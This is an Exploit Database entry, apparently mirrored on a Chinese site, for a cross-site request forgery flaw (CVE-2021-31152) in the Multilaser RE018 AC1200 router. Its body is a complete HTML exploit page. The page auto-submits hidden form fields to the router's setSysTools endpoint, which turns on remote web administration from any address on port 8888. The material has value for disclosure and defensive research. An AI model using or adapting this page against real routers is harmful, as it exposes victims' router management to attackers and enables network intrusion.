Multilaser Router RE018 AC1200 – Cross-Site Request Forgery (Enable Remote Access)

Exploit Database
123 阅读

作者： Rodolfo Mariano

日期： 2021-04-21
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/49775/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

# Exploit Title: Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access)

# Date: 14/04/2021

# Exploit Author: Rodolfo Mariano

# Version: Firmware V02.03.01.45_pt

# CVE: 2021-31152

# Exploit Code:

<html>

<body>

<form action="http://192.168.0.1/goform/setSysTools" method="POST">

<input name="module4" value="remoteWeb" type="hidden">

<input name="remoteWebType" value="any" type="hidden">

<input name="remoteWebIP" value="" type="hidden">

<input name="remoteWebPort" value="8888" type="hidden">

<input type="submit" value="Submit request">

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>